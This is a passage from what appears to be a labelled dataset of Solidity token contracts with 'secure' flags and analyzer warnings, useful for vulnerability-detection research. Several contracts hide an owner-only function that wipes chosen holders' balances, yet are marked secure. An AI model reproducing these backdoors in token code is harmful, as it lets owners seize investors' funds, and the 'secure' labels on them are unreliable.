spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == breadfast, \"Not allowed\");\n\n _;\n }\n\n function germany(address[] memory aroundgrass) public onlyOwner {\n for (uint256 i = 0; i < aroundgrass.length; i++) {\n address account = aroundgrass[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_804.sol", "secure": 1, "size_bytes": 4397 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract Doggy is ERC20, Ownable {\n uint256 private constant MAX_SUPPLY = 1E10 * 1E18;\n\n address public constant uniswapRouter =\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n\n address public immutable uniswapPair;\n\n bool private inPresale;\n\n event TradingStarted();\n\n constructor() ERC20(\"Doggy\", \"Doggy\") {\n _mint(_msgSender(), MAX_SUPPLY);\n\n inPresale = true;\n\n address factory = IUniswapV2Router02(uniswapRouter).factory();\n\n uniswapPair = IUniswapV2Factory(factory).createPair(\n address(this),\n IUniswapV2Router02(uniswapRouter).WETH()\n );\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256\n ) internal virtual override {\n if (inPresale && to == uniswapPair) {\n require(from == owner(), \"Can't sell during presale\");\n }\n }\n\n function startTrading() public onlyOwner {\n inPresale = false;\n\n emit TradingStarted();\n }\n}", "file_name": "solidity_code_805.sol", "secure": 1, "size_bytes": 1429 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract RTAPULL is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable alise;\n\n constructor() {\n _name = \"RTAPULL\";\n\n _symbol = \"RTAPULL\";\n\n _decimals = 18;\n\n uint256 initialSupply = 740000000;\n\n alise = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == alise, \"Not allowed\");\n\n _;\n }\n\n function defin(address[] memory monit) public onlyOwner {\n for (uint256 i = 0; i < monit.length; i++) {\n address account = monit[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n}", "file_name": "solidity_code_806.sol", "secure": 1, "size_bytes": 4349 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract MemeCoinGirl is ERC20, ERC20Burnable, Ownable {\n constructor(\n address initialOwner\n ) ERC20(\"MemeCoinGirl\", \"MIKO\") Ownable(initialOwner) {\n require(initialOwner != address(0), \"Invalid owner address\");\n\n _mint(initialOwner, 100000000000 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_807.sol", "secure": 1, "size_bytes": 599 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract PandaHero is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable anywhere;\n\n constructor() {\n _name = \"PandaHero \";\n\n _symbol = \"PANDAH\";\n\n _decimals = 18;\n\n uint256 initialSupply = 16800000000;\n\n anywhere = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == anywhere, \"Not allowed\");\n\n _;\n }\n\n function sound(address[] memory procedure) public onlyOwner {\n for (uint256 i = 0; i < procedure.length; i++) {\n address account = procedure[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n}", "file_name": "solidity_code_808.sol", "secure": 1, "size_bytes": 4376 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\n\nabstract contract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n function transfer(address to, uint256 value) public virtual returns (bool) {\n require(value > 0, \"Amount must be greater than zero\");\n\n address owner = _msgSender();\n\n _transfer(owner, to, value);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 value\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) public virtual returns (bool) {\n require(value > 0, \"Amount must be greater than zero\");\n\n address spender = _msgSender();\n\n _spendAllowance(from, spender, value);\n\n _transfer(from, to, value);\n\n return true;\n }\n\n function _transfer(address from, address to, uint256 value) internal {\n require(msg.sender == tx.origin, \"Reentrancy attack prevented\");\n\n if (from == address(0)) {\n revert(\"Invalid sender address\");\n }\n\n if (to == address(0)) {\n revert(\"Invalid receiver address\");\n }\n\n _update(from, to, value);\n }\n\n function _update(address from, address to, uint256 value) internal virtual {\n if (from == address(0)) {\n _totalSupply += value;\n } else {\n uint256 fromBalance = _balances[from];\n\n require(fromBalance >= value, \"Transfer amount exceeds balance\");\n\n unchecked {\n _balances[from] = fromBalance - value;\n }\n }\n\n if (to == address(0)) {\n unchecked {\n _totalSupply -= value;\n }\n } else {\n unchecked {\n _balances[to] += value;\n }\n }\n\n emit Transfer(from, to, value);\n }\n\n function _mint(address account, uint256 value) internal {\n if (account == address(0)) {\n revert(\"Invalid receiver address\");\n }\n\n require(value > 0, \"Mint value must be greater than zero\");\n\n _update(address(0), account, value);\n }\n\n function _burn(address account, uint256 value) internal {\n if (account == address(0)) {\n revert(\"Invalid sender address\");\n }\n\n _update(account, address(0), value);\n }\n\n function _approve(address owner, address spender, uint256 value) internal {\n _approve(owner, spender, value, true);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 value,\n bool emitEvent\n ) internal virtual {\n if (owner == address(0)) {\n revert(\"Invalid approver address\");\n }\n\n if (spender == address(0)) {\n revert(\"Invalid spender address\");\n }\n\n _allowances[owner][spender] = value;\n\n if (emitEvent) {\n emit Approval(owner, spender, value);\n }\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 value\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(currentAllowance >= value, \"Allowance exceeded\");\n\n unchecked {\n _approve(owner, spender, currentAllowance - value, false);\n }\n }\n }\n}", "file_name": "solidity_code_809.sol", "secure": 1, "size_bytes": 4913 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 9c4cbe1): Contract locking ether found Contract TheDogeofWallStreet has payable functions TheDogeofWallStreet.receive() But does not have a function to withdraw the ether\n// Recommendation for 9c4cbe1: Remove the 'payable' attribute or add a withdraw function.\ncontract TheDogeofWallStreet is ERC20, Ownable {\n constructor() ERC20(unicode\"The Doge of Wall Street\", unicode\"TDWS\") {\n _mint(owner(), 1000000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 9c4cbe1): Contract locking ether found Contract TheDogeofWallStreet has payable functions TheDogeofWallStreet.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 9c4cbe1: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}", "file_name": "solidity_code_81.sol", "secure": 0, "size_bytes": 1076 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\nabstract contract ERC20Burnable is Context, ERC20 {\n function burn(uint256 value) public virtual {\n require(value > 0, \"Amount must be greater than zero\");\n\n _burn(_msgSender(), value);\n }\n\n function burnFrom(address account, uint256 value) public virtual {\n require(\n allowance(account, _msgSender()) >= value,\n \"Burn amount exceeds allowance\"\n );\n\n require(value > 0, \"Amount must be greater than zero\");\n\n _spendAllowance(account, _msgSender(), value);\n\n _burn(account, value);\n }\n}", "file_name": "solidity_code_810.sol", "secure": 1, "size_bytes": 781 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Lizardllm is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable answer;\n\n constructor() {\n _name = \"LIZARD LLM\";\n\n _symbol = \"LIZARD\";\n\n _decimals = 18;\n\n uint256 initialSupply = 827000000;\n\n answer = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == answer, \"Not allowed\");\n\n _;\n }\n\n function mirror(address[] memory stay) public onlyOwner {\n for (uint256 i = 0; i < stay.length; i++) {\n address account = stay[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_811.sol", "secure": 1, "size_bytes": 4354 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract McGAGA is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable premium;\n\n constructor() {\n _name = \"McGAGA \";\n\n _symbol = \"McGAGA\";\n\n _decimals = 18;\n\n uint256 initialSupply = 6800000000;\n\n premium = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == premium, \"Not allowed\");\n\n _;\n }\n\n function department(address[] memory cablewith) public onlyOwner {\n for (uint256 i = 0; i < cablewith.length; i++) {\n address account = cablewith[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n}", "file_name": "solidity_code_812.sol", "secure": 1, "size_bytes": 4371 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract XHAT is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Optimization Issue (constable-states | ID: 37a91ea): XHAT._initialBuyTax should be constant \n\t// Recommendation for 37a91ea: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 8;\n\n\t// WARNING Optimization Issue (constable-states | ID: af384a7): XHAT._initialSellTax should be constant \n\t// Recommendation for af384a7: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 16;\n\n\t// WARNING Optimization Issue (constable-states | ID: b448157): XHAT._finalBuyTax should be constant \n\t// Recommendation for b448157: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3e6d3e2): XHAT._finalSellTax should be constant \n\t// Recommendation for 3e6d3e2: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 579c3c9): XHAT._reduceBuyTaxAt should be constant \n\t// Recommendation for 579c3c9: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4a8d3eb): XHAT._reduceSellTaxAt should be constant \n\t// Recommendation for 4a8d3eb: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4a76c07): XHAT._preventSwapBefore should be constant \n\t// Recommendation for 4a76c07: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 8;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"XHAT\";\n\n string private constant _symbol = unicode\"XHAT\";\n\n uint256 public _maxTxAmount = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: df3ccbc): XHAT._taxSwapThreshold should be constant \n\t// Recommendation for df3ccbc: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 13cb2e2): XHAT._maxTaxSwap should be constant \n\t// Recommendation for 13cb2e2: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 99109c1): XHAT._taxWallet should be immutable \n\t// Recommendation for 99109c1: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n IUniswapV2Router02 private constant _uniswapV2Router =\n IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n struct AggregationInfo {\n uint256 singleSwap;\n uint256 multiSwap;\n uint256 aggregationCount;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 95619ac): XHAT.aggrCountExile should be constant \n\t// Recommendation for 95619ac: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: a27322a): XHAT.aggrCountExile is never initialized. It is used in XHAT._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for a27322a: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n uint256 private aggrCountExile;\n\n uint256 private aggrTokenTotal;\n\n mapping(address => AggregationInfo) private aggregationInfo;\n\n address private _uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0xE08685d8027990eCF214d8F14d88337dFD8f4172);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function _basicTransfer(\n address from,\n address to,\n uint256 tokenAmount\n ) internal {\n _balances[from] = _balances[from].sub(tokenAmount);\n\n _balances[to] = _balances[to].add(tokenAmount);\n\n emit Transfer(from, to, tokenAmount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 94317bc): XHAT.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 94317bc: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 5f244be): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 5f244be: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: efb38d7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for efb38d7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 5f244be\n\t\t// reentrancy-benign | ID: efb38d7\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 5f244be\n\t\t// reentrancy-benign | ID: efb38d7\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4f66dc6): XHAT._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 4f66dc6: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: efb38d7\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 5f244be\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 